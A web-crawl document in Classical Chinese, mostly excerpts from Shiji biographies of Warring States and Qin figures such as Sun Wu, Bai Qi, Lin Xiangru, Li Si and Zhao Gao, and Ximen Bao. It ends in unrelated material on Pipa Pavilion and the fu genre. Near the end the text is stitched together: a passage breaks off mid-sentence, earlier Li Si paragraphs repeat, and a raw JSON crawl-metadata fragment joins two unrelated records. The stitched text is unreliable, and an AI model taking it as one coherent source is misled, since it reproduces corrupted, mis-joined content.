矣。寡人非此二姬。食不甘味。願勿斬也。孫子曰。臣已受命將。將在軍。君命有所不受。遂斬隊長二人以徇。用其次爲隊長。於是復鼓之。婦人左右前後跪起皆中 規矩繩墨。無敢出聲者。於是孫子使使報曰。兵已整。唯王所欲用之。雖赴水火猶可也。吴王曰。將軍罷休就舍。寡人不願下觀。孫子曰。王徒好其言。不能用其 實。於是闔廬知孫子能用兵(舊無用兵二字。補之)也。卒以爲將。西破楚入郢。北威齊(舊無齊字。補之)晋。顯名諸侯。\n吴起者。衞人也。魏文侯以爲將。與士卒冣下者同衣食。臥不設席。行不騎乘。親裹糧與士卒分勞。卒有病疽者。吴起爲吮之。卒母哭之。人曰。子卒也。而將 軍自吮其疽。何哭爲。母曰。不然也。往年吴公吮其父。其父戰不旋踵而遂死於敵。今又吮此子。妾不知其死處矣。是以哭之。文侯既卒。事武侯。武侯浮西河而 下。中流。顧而謂起曰。美哉。山河之固。此魏國之寶也。起對曰。在德不在險。昔三苗氏。左洞庭而右彭蠡。德義不修。而禹滅之。夏桀之居。左河濟。右太華。 伊闕在其南。羊腸在其北。羊腸阪在大原。修政不仁。而湯放之。殷紂之國。左孟門。右太行。常山在其北。大河經其南。修政不德。武王殺之。由此觀之。在德不 在險。若君不修德。船中之人盡敵國也。武侯曰。善。\n甘茂者。下蔡人也。秦武王以爲左丞相。謂茂曰。寡人欲容車通三河(河作川)以窺周室。而寡人死不朽矣。茂曰。請之魏約以伐韓。而令向壽輔行。茂謂向 壽。子歸言之於王曰。魏聽臣矣。然願王勿伐也。壽歸以告王。王迎茂於息壤。茂至。王問其故。對曰。宜陽。大縣也。雖名曰縣。其實郡也。今王倍數險。行千里 攻之。難。昔曾參之處費。魯人有與曾參同姓名殺人。人告其母曰。曾參殺人。其母織自若也。頃然(然作之)一人又告。其母尚織自若也。頃然(然作之)一人又 告之。其母投杼下機。逾墻而走。夫以曾參之賢。與其母信之也。三人疑之。其母懼焉。今臣之賢不若曾參。王之信臣又不如曾參之母信曾參也。疑臣者非特三人。 臣恐大王之投杼也。始張儀西并巴蜀之地。北開西河之外。南取上庸。天下不以多張子而賢先王。魏文侯令樂羊將而攻中山。三年而拔之。樂羊返而論功。文侯示之 謗書一篋。樂羊再拜稽首曰。此非臣功。主君之力也。今臣羈旅之臣。樗里子。公孫奭。二人者挾韓而議。王必聽之。王欺魏而臣受公仲侈之怨也。王曰。寡人不聽 也。請與子盟。卒使茂將兵伐宜陽。五月而不拔。樗里子。公孫奭果争之。武王召茂。欲罷兵。茂曰。息壤在彼。王曰。有之。因大悉起兵使茂擊之。遂拔宜陽。韓 襄王使公仲侈入謝。\n白起者。郿人也。善用兵。事秦昭王。昭王使白起爲上將軍。前後斬首虜四十五萬人。趙人大震。使蘇代厚幣説秦相應侯曰。武安君所爲秦戰勝攻取者七十餘 城。南定鄢郢。漢中。北禽趙括之軍。雖周。召。吕望之功。不益於此矣。今趙亡。秦王王。則武安君必爲三公。君能爲之下乎。雖無欲爲之下。固不得已矣。秦嘗 攻韓。圍邢丘。困上黨。上黨之人皆反爲趙。天下不樂爲秦民之日久矣。今亡趙北地入燕。東地入齊。南地入韓。魏。則君之所得民。亡幾何人。故不如因而割之。 無以爲武安君功也。於是應侯言秦王曰。秦兵勞。請許韓趙之割地以和。且休士卒。王聽之。皆罷兵。武安君由是與應侯有隙。\n秦復發兵。使王陵攻趙。陵戰少利。秦王欲使武安君代陵將。武安君言曰。秦雖破長平軍。而秦卒死者亦過半。國内空。遂遠絶河山而争人國都。趙應其内。諸 侯攻其外。破秦軍必矣。不可。秦王强起武安君。武安君遂無遂字。稱病篤。應侯請之不起。於是免爲士伍。遷之陰密。屬安定。武安君病未能行。秦王乃使人遣白 起不得留咸陽中。武安君既行。出咸陽西門十里。至杜郵。秦昭王與應侯群臣議曰。白起之遷。其意尚怏怏不服。有餘言。秦王乃使使者賜之劍自裁。武安君遂自 殺。秦人憐之。鄕邑皆祭祀焉。\n樂毅聞燕昭王屈身下士。先禮郭隗以招賢者。毅爲魏使燕。遂委質爲臣。昭王以爲亞卿。時齊湣王强。自矜。百姓弗堪。於是昭王使毅約趙。楚。魏以伐齊。昭 王悉起兵。使毅爲上將軍。并護趙。楚。韓。魏。燕之兵以伐齊。破之濟西。諸侯兵罷歸。而毅獨追入臨灾。盡取齊寶財物輸之燕。昭王大悦。封樂毅於昌國。齊七 十餘城皆爲郡縣以屬燕。唯獨莒。即墨未服。會燕昭王卒。惠王自爲太子時嘗不快於毅。及即位。齊之田單聞之。乃縱反間於燕曰。齊城不下者兩城耳。然所以不早 下者。聞樂毅與燕新王有隙。欲連兵。且留齊。南面而王齊。齊之所患。唯恐他將之來。惠王固已疑毅。得齊間。乃使騎劫代將而召毅。毅知惠王之弗善代之。遂西 降趙。齊田單遂破騎劫。盡復得齊城。\n廉頗者。趙之良將也。藺相如者。趙人也。趙王與秦王會澠池。秦王飲酒酣。曰。寡人竊聞趙王好音。請奏瑟。趙王鼓瑟。秦御史前書曰。某年某月。秦王與趙 王會飲。令趙王鼓瑟。相如前曰。趙王竊聞秦王善爲秦聲。請奉盆缻以相樂。秦王怒。不許。於是相如前進缻。因跪請。秦王不肯擊缻。相如曰。五步之内。相如請 得以頸血濺大王矣。左右欲刃相如。相如張目叱之。左右皆靡。於是秦王不懌。爲壹擊缻。相如顧召趙御史書曰。某月秦王爲趙王擊缻。秦之群臣曰。請以趙十五城 爲秦王壽。相如亦曰。請以秦之咸陽爲趙王壽。秦王竟酒。終不能加勝於趙。\n既罷歸國。以相如功大。拜爲上卿。位在廉頗之右。頗曰。我爲趙將。有攻城野戰之功。而藺相如徒以口舌爲勞。而位居我上。且相如素賤人。吾羞。不忍爲之 下。宣言曰。我見相如。必辱之。相如聞。每朝。常稱病。已而相如出。望見廉頗。引車避匿。於是舍人相與諫曰。臣所以去親戚而事君者。徒慕君之高義也。今君 與廉君同列。廉君宣惡言。而君畏匿之。恐懼殊甚。且庸人尚羞之。况於將相乎。臣等不肖。請辭去。相如固(固舊作故。改之)止之。曰。公之視廉將軍。孰與秦 王。曰。不若也。相如曰。夫以秦王之威。而相如廷叱之。辱其群臣。相如雖駑。獨何畏廉將軍哉。顧吾念之。强秦之所以不敢加兵於趙者。徒以吾兩人在也。今兩 虎鬥。其勢不俱生。吾所以爲此。先公家之急而後私讎也。頗聞之。肉袒負荊。因賓客至相如門謝罪。曰。鄙賤之人。不知將軍寬之至此也。卒相與歡。爲刎頸之 交。\n趙奢者。趙之田部吏也。收税而平原君家不肯出。奢以法治之。殺平原君用事者九人。平原君怒。將殺奢。因説曰。君於趙爲貴公子。今縱君家而不奉公。則法 削。法削則國弱。國弱則諸侯加兵。諸侯加兵。是無趙也。君安得有此富乎。以君之貴。奉公如法。則上下平。上下平則國强。國强則趙固。而君爲貴戚。豈輕於天 下邪。平原君以爲賢。言之王。王用之治國賦。國賦大治。民富而府庫實。\n秦伐韓。軍閼與。王乃令奢將救之。大破秦軍。惠文王賜奢爵號爲馬服君。孝成王立。秦與趙兵相距長平。使廉頗將。固壁不戰。秦之間言曰。秦之所惡。獨畏 趙奢之子趙括爲將耳。趙王因以括爲將代廉頗。括自少時學兵法。言兵事。以天下莫能當。嘗與其父奢言兵事。奢不能難。然不謂之善。括母問其故。奢曰。兵。死 地也。而括易言之。使趙不將括則已。若必將之。破趙軍者必括也。\n及括將行。其母上書曰。括不可使將。王曰。何以。對曰。始妾事其父。時爲將。身所奉飯而進食者以十數。所友者以百數。大王及宗室所賞賜者。盡以與軍吏 士大夫。受命之日。不問家事。今括一旦爲將。東向而朝軍吏。無仰視之者。王所賜金帛。歸藏家。而日視便利田宅可買者。王以爲何如其父。父子异心。願王勿 遣。王曰。母置之。吾已决矣。終遣之。括既代廉頗。悉更約束。易置軍吏。秦將白起聞之。縱奇兵射殺括。數十萬之衆遂降秦。秦悉坑之。\n李牧者。趙之北邊良將也。常居代鴈門。備匈奴。日饗士。習騎射。謹烽火。多間諜。厚遇戰士。爲約曰。匈奴即入盗。急入收保。有敢捕虜者斬。如是數歲。 亦不亡失。然匈奴以李牧爲怯。雖趙邊兵亦以爲吾將怯。趙王讓牧。牧如故。趙王怒。召之。使他人代將。歲餘。匈奴每來。出戰。戰數不利。失亡多。邊不得田 畜。復請牧。牧固稱疾。趙王乃復强起使將兵。牧曰。王必用臣。如前。乃敢奉令。王許之。牧至如故約。匈奴數歲無所得。終以爲怯。邊士日得賜而不用。皆願得 一戰。於是悉勒習戰。大縱畜牧。人民滿野。匈奴小入。佯北不勝。以數千人委之。單于聞之。大率衆來入。牧多爲奇陳。張左右翼擊之。大破殺匈奴十餘萬騎。破 東胡。單于奔走。匈奴不敢近趙邊。\n屈原者。名平。楚之同姓也。爲楚懷王左徒。博聞强志。明於治亂。嫺於辭令。入則與王圖議國事。以出號令。出則接遇賓客。應對諸侯。王甚任之。上官大夫 與之同列。而心害其能。懷王使平造爲憲令。平屬草藳未定。上官大夫見而欲奪之。平不與。因讒之曰。王使屈平爲令。衆莫弗知。每一令出。屈平伐其功。以爲非 我莫能爲也。王怒而疏平。平疾王聽之不聰也。讒諂之蔽明也。邪曲之害公也。方正之不容也。故憂愁幽思而作離騷。平既絀。其後秦大破楚師。懷王入秦而不反。 平雖放流。睠顧楚國。冀幸君之一悟。俗之一改也。令尹子蘭卒使上官大夫短原於頃襄王。頃襄王怒而遷之。遷於江南。。遂自投汨羅以死。汨水在羅。故曰汨羅。 原既死之後。楚日以削。竟爲秦所滅。\n豫讓者。晋人也。故嘗事范氏及中行氏。而無所知名。去而事智伯。智伯甚尊寵之。及智伯伐趙。趙襄子與韓。魏合謀滅智伯。三分其地。襄子漆智伯頭以爲飲 器。豫讓遁逃山中。變名易姓爲刑人。入宫塗廁。欲以刺襄子。襄子如廁。心動。執問塗廁之刑人。豫讓内持刀兵。曰。欲爲智伯報讎。左右欲誅之。襄子曰。彼義 人也。吾謹避之耳。釋去之。居頃之。豫讓又漆身爲厲。吞炭爲啞。行乞於市。其妻不識。行見其友。其友識之。曰。以子之材。委質而臣事襄子。襄子必近幸子。 近幸子乃爲所欲。顧不易邪。何乃殘身苦形。欲以求報襄子。不亦難乎。豫讓曰。既已委質臣事人而殺之。是懷二心以事君也。且吾所爲者。極難耳。然所以爲此 者。將以愧天下後世之爲人臣懷二心以事其君也。頃之。襄之當出。豫讓伏於所當過之橋下。襄子至橋馬驚。曰。此必是豫讓也。使人問之。果豫讓也。於是趙襄子 數豫讓曰。子不嘗事范。中行氏乎。智伯盡滅之。而子不爲報讎。反委質臣於智伯。智伯亦已死矣。而子獨何以爲之報讎之深也。豫讓曰。臣事范。中行氏。范。中 行氏皆衆人遇我。我故衆人報之。至於智伯。國士遇我。我故國士報之。\n李斯者。楚上蔡人也。爲丞相。始皇出游會稽。斯及中車府令趙高皆從。始皇有二十餘子。長子扶蘇以數直諫使監兵上郡。蒙恬爲將。少子胡亥從。始皇帝至沙 丘。疾甚。令趙高爲書賜公子扶蘇曰。以兵屬蒙恬。與喪會咸陽而葬。書已封。未授使者。始皇崩。於是斯。高相與謀。詐爲受始皇詔。立子胡亥爲太子。更爲書賜 扶蘇劍以自裁。將軍恬賜死。至咸陽發喪。太子立。爲二世皇帝。以趙高爲郎中令。常侍中用事。\n二世燕居。乃召高與謀。謂高曰。夫人生世間也。譬猶騁六驥過决隙也。吾既已臨天下矣。欲悉耳目之所好。窮心志之所樂。以安宗廟而樂萬姓。長有天下。終 吾年壽。其道可乎。高曰。此賢主之所能行。而昏亂主之所禁也。臣請言之。願陛下少留意焉。夫沙丘謀。諸公子至大臣皆疑焉。而諸公子盡帝兄。大臣又先帝之所 置也。今陛下初立。此其屬意怏怏皆不服。恐爲變。且蒙恬已死。蒙毅將兵居外。臣戰戰慄慄。唯恐不終。且陛下安得爲此樂乎。二世曰。爲之奈何。趙高曰。嚴法 而刻刑。令有罪者相坐。誅至收族。滅大臣而遠骨肉。貧者富之。賤者貴之。盡除去先帝之故臣。更置陛下之所親信者近之。此則陰德歸陛下。害除而奸謀塞。群臣 莫不被潤澤。蒙厚德。陛下則高枕肆志寵樂矣。計莫出於此。二世然高之言。乃更爲法律。群臣諸公子有罪輒下高令治之。誅殺大臣蒙毅等。公子十二人。戮死咸陽 市。十公主矺死於杜。相連坐者不可勝數。\n公子高欲奔。恐收族。乃上書曰。先帝無恙時。臣入則賜食。出則乘輿。御府之衣臣得賜之。中廄之寶馬臣得賜之。臣請從死。願葬驪山之足。書上。胡亥大 悦。召趙高而示之。曰。此可謂急乎。高曰。人臣當憂死不暇。何變之得謀。胡亥可其書。賜錢十萬以葬。法令誅罰。日益刻深。群臣人人自危。欲叛者衆。又作阿 房之宫。治直馳道。賦斂愈重。戍徭無已。於是楚戍卒陳勝。吴廣等乃作亂。\n斯數欲請間諫。二世不許。而二世責問斯曰。吾有私議而有所聞於韓子也。曰。堯之有天下。堂高三尺。茅茨不翦。雖逆旅之宿。不勤於此矣。粢糲之食。藜藿 之羹。飯土匭。啜土鉶。雖監門之養。不觳於此矣。禹鑿龍門。疏九河。手足胼胝。面目黎黑。臣虜之勞。不烈於此矣。然則夫所貴於有天下者。豈欲苦形勞神。身 處逆旅之宿。口食監門之養。手持臣虜之作哉。此不肖人之所勉也。非賢者之所務也。夫所謂賢人者。必將能安天下而治萬民也。今身且弗能利。將惡能治天下哉。 故吾願肆志廣欲。長享天下而無害。爲之奈何。\n斯子由爲三川守。群盗吴廣等西略地過去。弗能禁。李斯恐懼。不知所出。乃阿二世意欲求容。以書對曰。夫賢主者。必且能全道而行督責之術者。督責之。則 臣不敢不竭能以徇其主矣。臣主之分定。上下之義明。則天下賢不肖。莫敢不盡力竭任以徇其君矣。是故主獨制於天下而無所制也。能窮樂之極矣。賢明之主也。可 不察邪。故申子曰。有天下而不恣睢。命之曰以天下爲桎梏(舊無梏字。補之)者。無他焉。不能督責。而顧以其身勞於天下之民。若堯。禹然。故謂之桎梏也。\n夫不能修申。韓之明術。行督責之道。專以天下自適也。而徒務苦形勞神。以身徇百姓。則是黔首之役。非畜天下者也。何足貴哉。夫以人徇己。則己貴而人 賤。以己徇人。則己賤而人貴。故徇人者賤。而所徇者貴。自古及今。未有不然者也。凡古之所謂尊賢者。爲其貴也。而所爲惡不肖者。爲其賤也。夫堯。禹以身徇 天下者也。可謂大繆矣。謂之爲桎梏。不亦宜乎。不知督責之過也。故韓子曰。慈母有敗子而嚴家無格虜者。何也。則能罰之加焉必也。故商君之法。刑弃灰於道 者。夫弃灰。薄罪也。而被刑。重罰也。彼唯明主爲能深督輕罪。夫輕罪且督深。而况有重罪乎。故民弗敢犯也。明主聖王之所以能久處尊位。長執重勢而獨擅天下 之利者。非有异道也。能獨斷而審督責。必深罰。故天下弗敢犯也。今不務所以不犯。而事慈母之所以敗子也。則亦不察於聖人之論矣。\n凡賢主者。必將能拂世摩俗。而廢其所惡。立其所欲。故生則有尊重之勢。死則有賢明之謚也。是以明君獨斷。故權不在臣也。然後能滅仁義之塗。掩馳説之 口。困烈士之行。塞聰掩明。内獨視聽。故外不可傾以仁義烈士之行。而内不可奪以諫説忿争之辨。故能犖然獨行恣睢之心。而莫敢逆若此。然後可謂能明申。韓之 術而修商君之法。法修術明。而天下亂者。未之有也。故督責之術設。則所欲無不得矣。群臣百姓。救過不給。何變之敢圖。若此。則帝道備。而可謂能明君臣之術 矣。雖申。韓復生。弗能加也。書奏。二世悦。於是行督責益嚴。税民深者爲明吏。二世曰。若此。則可謂能責矣。刑者相半於道。而死人日成積於市。殺人衆者爲 忠臣。二世曰。若此。則可謂能督矣。\n初。趙高爲郎中令。所殺及報私怨衆多。恐大臣入朝奏事毁惡之。乃説二世曰。天子所以貴者。但以聞聲。群臣莫得見其面。故號曰朕。且陛下富於春秋。未必 盡通諸事。今坐朝廷。譴舉有不當者。則見短於大臣。非所以示神明於天下。且陛下深拱禁中。與臣及侍中習法者待事。事來有以揆之。如此。則大臣不敢奏疑事。 天下稱聖主矣。二世用其計。乃不坐廷見大臣。居禁中。趙高常侍中用事。事皆决於高。\n高聞斯以爲言。乃見丞相曰。關東群盗多。今上急益發繇治阿房。聚狗馬無用之物。臣欲諫。爲位賤。此真君侯之事。君何不諫。斯曰。固也。吾欲言之久矣。 今時上不坐朝廷。上居深宫。吾所欲言者不可傳也。欲見無間。高謂曰。君誠能諫。請爲君候上間語君。於是趙高待二世方宴樂。婦女居前。使人告丞相。上方間。 可奏事。丞相至宫門上謁。如此者三。二世怒曰。吾常多閑日。丞相不來。吾方宴私。丞相輒來請事。丞相豈少我。且固我哉。趙高因曰。此殆矣。夫沙丘之謀。丞 相與焉。今陛下已立爲帝。而丞相貴不益。此其意亦望裂地而王矣。且陛下不問臣。臣不敢言。丞相長男由爲三川守。楚盗陳勝等皆丞相傍縣之子。以故楚盗公行。 過三川。城守不肯擊。高聞其文書相往來。未得其審。故未敢以聞。且丞相居外。權重於陛下。二世以爲然。欲案丞相。恐其不審。乃使人案驗三川守與盗通狀。\n斯聞之。因上書言高短曰。臣聞之。臣疑其君。無不危國。妾疑其夫。無不危家。今高有邪佚之志。危反之行。陛下不圖。臣恐其爲變也。二世曰。何哉。夫 高。故宦人也。然不爲安肆志。不以危易心。潔行循(循作修)善。自使至此。以忠得進。以信守位。朕實賢之。而君疑之。何也。且朕少失先人。無識。不習治。 而君又老。恐與天下絶矣。朕非屬趙君。當誰任哉。且趙君爲人精廉强力。下知民情。上能適朕。君其勿疑。李斯曰。不然。夫高故賤人也。無識於理。貪欲無饜。 求利不止。烈勢次主。求欲無窮。臣故曰殆。\n二世乃私告趙高。高曰。丞相所患者獨高。高已死。丞相欲爲田常所爲。於是二世責斯與子由謀反狀。皆收捕宗族賓客。高治斯。榜掠千餘。不勝痛。自誣服。 斯所以不死者。自負有功。實無反心。上書自陳。幸二世之寤。高使吏弃去弗奏。曰。囚安得上書。使其客十餘輩詐爲御史。謁者。侍中。更往覆訊斯。斯更以其實 對。輒使人復榜之。後二世使人驗斯。斯以爲如前。終不敢更言。辭服。奏當上。二世喜曰。微趙君。幾爲丞相所賣。具斯五刑。論腰斬咸陽市。遂夷三族。李斯已 死。二世拜高爲中丞相。事無大小輒决於高。\n高自知權重。乃獻鹿謂之馬。二世問左右。此乃鹿也。左右曰。馬也。二世驚。自以爲惑。乃召太卜令卦之。太卜曰。陛下春秋郊祀。奉宗庿鬼神。齋戒不明。 故至於此。可依盛德而明齋戒。於是乃入上林齋戒。日游弋獵。有行人。二世自射殺之。高乃諫二世。天子無故賊殺不辜人。此上帝之禁。天且降殃。當遠避宫以禳 之。二世乃出居望夷之宫。留三日。高劫令自殺也。\n田叔者。趙人也。趙王張敖以爲郎中。高祖過趙。貫高等謀弑上。發覺。詔捕趙王。趙有敢隨王者。罪三族。唯孟舒。田叔等。自髠鉗隨王至長安。敖得出。叔 爲漢中守。文帝召叔問曰。公知天下長者乎。叔曰。故雲中守孟舒長者。上曰。先帝置舒雲中十餘年矣。虜曾一入。舒不能堅守。無故士卒戰死者數百人。長者固殺 人乎。叔曰。是乃孟舒所以爲長者也。漢與楚相距。士卒疲弊。匈奴冒頓新服。北夷。來爲邊害。孟舒知士卒疲弊。不忍出言。士争臨城死敵。如子爲父。弟爲兄。 以故死者數百人。孟舒豈故驅戰之哉。是乃孟舒所以爲長者也。於是上曰。賢哉孟舒。復以爲雲中守。景帝以田叔爲魯相。魯王好獵。相常從入苑中。王輒休相就館 舍。相出。常暴坐待王苑外。王數使人請相曰。休。終不休。曰。我王暴露苑中。我獨何爲就舍。魯王以故不大出游。\n循吏傳\n太史公曰。法令。所以導民也。刑罰。所以禁奸也。文武不備。良民懼然身修者。官未嘗亂也。奉職循理。亦可以爲治。何必威嚴哉。公儀休爲魯相。奉法循 理。無所變更。百官自正。使食禄者不得與下民争利。受大者不得取小。客有遺相魚者。不受也。客曰。聞君嗜魚。遺君魚。何故不受也。相曰。以嗜魚。故不受 也。今爲相能自給魚。今受魚而免。誰復給我魚者。吾故不受也。食茹而美。拔其園葵而弃之。見其家織布好。而疾出其家婦。燔其機。云。欲令農士工女安所讎其 貨乎。\n酷吏傳\n孔子曰。導之以政。齊之以刑。民免而無耻。導之以德。齊之以禮。有耻且格。格。正。老氏稱。法令滋章。盗賊多有。太史公曰。信哉是言也。法令者治之 具。而非制治清濁之源也。昔天下之網嘗密矣。然奸僞萌起。其極也。上下相遁。至於不振。當是之時。吏治若救火揚沸。非武健嚴酷。惡能勝其任而愉快乎。言道 德者溺於職矣。故曰。聽訟吾猶人也。必也使無訟乎。下士聞道大笑之。非虚言也。漢興。破觚而爲圓。觚。方。斫雕而爲朴。網漏於吞舟之魚。而吏治烝烝。不至 於奸。黎民艾安。由是觀之。在彼不在此。在道德不在嚴酷也。\n滑稽傳\n優孟者。楚優人也。莊王之時有愛馬。衣以文繡。置之華屋之下。席以露床。啖以棗脯。馬病肥死。使以大夫禮葬之。下令有諫者死。優孟入門大哭曰。馬者。 王之所愛也。以楚國堂堂之大。何求不得。而以大夫禮葬之。薄。請以人君禮葬之。以雕玉爲棺。文梓爲椁。發卒穿壙。老弱負土。廟食太牢。奉以萬户。諸侯聞 之。皆知大王(舊無大王二字。補之)賤人而貴馬。王曰。寡人過一至此乎。爲之奈何。孟曰。請爲大王六畜葬之人腹腸。於是王乃使以馬屬大官。無令天下久聞 也。\n楚相孫叔敖死。其子窮困負薪。孟即爲敖衣冠。抵掌談語。抵掌談説之容則也。歲餘。像孫叔敖。王大驚。以爲叔敖復生也。欲以爲相。孟曰。楚相不足爲也。 如孫叔敖之爲楚相。盡忠爲廉以治楚。楚得以霸。今死。其子無立錐之地。貧困負薪以自飲食。楚相不足爲也。於是莊王謝優孟。乃召叔敖子封之寢丘。\n優旃者。秦倡侏儒也。善爲笑言。然合大道。秦始皇帝議欲大苑囿。東至函穀關。西至雍陳倉。優旃曰。善。多縱禽獸於其中。寇從東方來。令糜鹿觸之足矣。 始皇以故輟止。二世立。又欲漆其城。優旃曰。善。漆城雖於百姓愁費。然佳哉。漆城蕩蕩。寇來不能上。即欲就之。易爲漆耳。顧難爲蔭室。於是二世笑之。以其 故止。\n魏文侯時。西門豹爲鄴令。鄴三老廷掾常歲賦斂百姓。收取其錢。得數百萬。用其(舊無其字。補之)二三十萬爲河伯娶婦。與祝巫共分其餘錢。人家有好女 者。持女逃亡。以故城中益空無(舊無以故城中益空無七字。補之)人。又困貧。俗曰。不爲河伯娶婦。水來漂没。至爲河伯娶婦。送女河上。豹往會之。曰。是女 不好。煩大巫嫗(舊無嫗字。補之)入報。更求好女。後日送之。即使吏卒共抱大巫嫗(舊無嫗字。補之)投之河中。有頃。曰。巫嫗何久也。弟子趣之。復以弟子 一人投河中。有頃。曰。弟子何久也。復使投之。凡投三弟子也。豹曰。巫嫗。弟子。女子也。不能白事。煩三老爲入白之。復投三老。豹曰。巫嫗三老不來奈何。 欲復使掾趣之。皆叩頭破額血流。豹曰。若皆(舊無豹曰若皆四字。補之)罷歸去。吏民大驚恐。從是已後。不敢言爲河伯娶婦。豹發民鑿十二渠。引河水灌田。民 煩苦不欲。豹曰。民可與樂成。不可與慮始。今雖患苦。然期令子孫思我。至今皆得水利。民人以給足。故豹爲鄴令。澤流後世無絶已時。\n子産治鄭。民不能欺。子賤治單父。人不忍欺。西門豹治鄴。人不敢欺。三子之才能誰冣賢哉。辨治者當能别之。魏文帝問群臣三不欺於君德孰優。大尉鐘繇。 司徒華歆。司空王朗對曰。臣以爲君任德則臣感義而不忍欺。君任察則臣畏覺而不能欺。君任刑則臣畏罪而不敢欺。任德感義與夫導德齊禮有耻且格等。同歸者也。 孔子曰。爲政以德。譬如北辰。居其所。而衆星拱之。考以斯言。論以斯義。臣等以爲不忍欺不能欺。優劣之縣。在權衡非徙低昂之差。乃鈞銖之覺也。且前志稱仁 者安仁。智者利仁。畏罪者强仁。校其仁者。功則無以殊。核其爲仁者。則不得不异。安仁者。性善者也。利仁者。力行者也。强仁者。不得已者也。三仁相比。則 安者優矣。易稱神而化。使民宜之。若君化然也。然則安仁之化。與夫强仁之化。優劣亦不得不相懸絶也。然則三臣之不欺雖同。所以不欺异。則純以恩義崇不欺。 與以威察成不欺。既不得同槪而比量。又不得錯綜而易處。之主也。可 不察邪。故申子曰。有天下而不恣睢。命之曰以天下爲桎梏(舊無梏字。補之)者。無他焉。不能督責。而顧以其身勞於天下之民。若堯。禹然。故謂之桎梏也。\n二世乃私告趙高。高曰。丞相所患者獨高。高已死。丞相欲爲田常所爲。於是二世責斯與子由謀反狀。皆收捕宗族賓客。高治斯。榜掠千餘。不勝痛。自誣服。 斯所以不死者。自負有功。實無反心。上書自陳。幸二世之寤。高使吏弃去弗奏。曰。囚安得上書。使其客十餘輩詐爲御史。謁者。","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/docs.com\/chinese-hanshuli\/1759","date":"2017-12-14T08:27:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948542031.37\/warc\/CC-MAIN-20171214074533-20171214094533-00352.warc.gz","language":"lzh","language_score":0.439601481,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.43960148096084595, \"cmn_Hani_score\": 0.3323114812374115, \"nan_Hani_score\": 0.08215775340795517, \"jpn_Jpan_score\": 0.043751463294029236, \"wuu_Hani_score\": 0.042471744120121, \"yue_Hani_score\": 0.014916512183845043}","num_words":433,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.441,"perplexity_score":500.0,"cluster_detection":1} +{"text":"琵琶亭之始建者,乃唐代地方百姓為懷江州司馬樂天白公之政績者也。 斯亭佇立於九江市內,長江岸邊,南臨琵琶湖,西傍長江大橋,且與長江、廬山遙相呼應。況有潯陽樓、鎖江樓、煙水亭相鏈接,故同屬潯城人文勝景之一絕也。 然,歷經千載,幾度興廢,多次重修。且原之舊亭,多有損毀,亟待修楫,而況欣逢盛世,政通人和,百廢待興之際,故保護文物古蹟乃當今之要務。 市委、市政府理民情,順民心,乃率諸科研、建築精英,幾經調研,反复論證,歷時數載,方成定論。遂改革舊規,擴充新制。且遵古而不泥古;革新猶存古風。使千年之古蹟煥然有全新之體勢者也。 觀乎歷史長河,治亂興廢、繁衍變遷、一如滔滔江水、滾滾東流,浩浩蕩盪,永不停息。而 ...\n李岩,河南杞縣人,萬曆卅八年生,崇禎十七年死,闖王重臣也。原名信,有斯人否不定。\nⓘ 賦\n賦 者,韻文也,賦其名出於荀卿。漢人以屈宋之辭、荀卿之賦,又稱「 辭賦 」。主以四六字為句,故又稱「 四六賦 」\n賦源於先秦,起於詩騷,盛於漢,興六朝。其體如文,而有用韻。漢初成體,承騒之音律,用奇字,引史故,時以排比、駢偶,而成鋪張揚厲之風。\n1. 賦史\n先秦時,賦歷屈宋之賦。謂之「騒賦」,多具南楚之風。「短賦」之體,荀以為祖。因章短而得名,荀卿亦書「賦篇」,內含五章,以明儒道。\n漢初,文人襲之,以賈誼、司馬相如、枚乘為首,後漢又以班固、張衡數人為首,而成漢賦,又稱 古賦 、 大賦 。辭藻華美者十八九也,如弔屈原賦之「襲九淵之神龍兮,沕深潛以自珍」。\n魏晉興駢賦,又稱 小賦 。唐因科舉,而盛 律賦 。唐宋之時,亦有 文賦 ,又稱 散賦 ,以抒情寫景為主,偶有說理之用。\n至明清之時為衰,律散並用,偶加八股文。以當時科舉所用,名「股賦」\n2. 賦選\n錄名篇數章,瞭其風,知其情,以究其深意。然錄漢、宋之賦,此二者為最。\n以下為漢之古賦,辭藻華美。以今觀之,字多生僻。\n偭蟂獺以隱處兮,夫豈從蝦與蛭螾?……鳯皇翔於千仞兮,覽德輝而下。 - - 賈誼弔屈原賦\n圜闕竦以造天,若雙碣之相望。鳳騫翥於甍標,咸溯風甫欲翔。閶闔之內,別風嶕嶢。……若夫游鷮高翬,絕坑逾斥。巉兔聯猭,陵巒超壑。比諸東郭,莫之能獲。 - - 張衡二京賦\n以下為宋之文賦,時散時偶。時寫景,時抒情。\n浩浩乎如馮虛御風,而不知其所止,飄飄乎如遺世獨立,羽化而登仙。……哀吾生之須臾,羡長江之無窮。 - - 蘇軾前赤壁賦\n草木無情,有時飄零。……初淅瀝以簫颯,忽奔騰而砰湃。 - - 歐陽修秋聲賦\n- 子虛 賦 一漢 賦 也 司馬相如所作 成於漢景帝時 楚使子虛使於齊 齊王悉發境內之士 備車騎之衆 與使者出畋 畋罷 子虛過詫烏有先生 而亡是公存焉 坐定 烏有先生問曰 今日畋樂乎 子虛曰 樂 獲多乎 曰 少 然則何樂 對曰 僕樂齊王之欲夸僕以車騎之衆 而僕對以雲夢之事也 曰 可得聞乎\n- 意 家貧 九辯 云 無衣裘以禦冬兮 恐溘死不得見乎陽春 漢書藝文志 錄宋玉有 賦 十六篇 惟篇名失考 今存者 王逸 楚辭章句 有 九辯 招魂 文選 有 風 賦 高唐 賦 神女 賦 登徒子好色 賦 九辯 招魂 對楚王問 後人文集又收數篇 然多為託名之作 據後世考證 宋玉之可信之作 殆僅 九辯 一篇而已\n- 奧維德者 列 拉丁三詩聖 古羅馬文士也 民多悅其歌 賦 然西元八年 詔遷於托彌城 蓋黑海之濱也 遂終於焉 有 幻色 賦 豔歌集 風月道 斷腸集 之屬行世 英人莎士比亞 雪萊俱祖之 西元前四十三年三月二十日 降義大利蘇莫 家門殷實 習辯鬥之術 入公堂 為刀筆吏 後棄官為詩 父弗悅 西元前二\n- 賦 三年後 凶鳥入舍 有感而著 鵬鳥 賦 七年 文帝突思其人 召之京城 問鬼神 夜半前席 既罷 文帝以誼為梁王揖之師 又以著文為諫 十一年 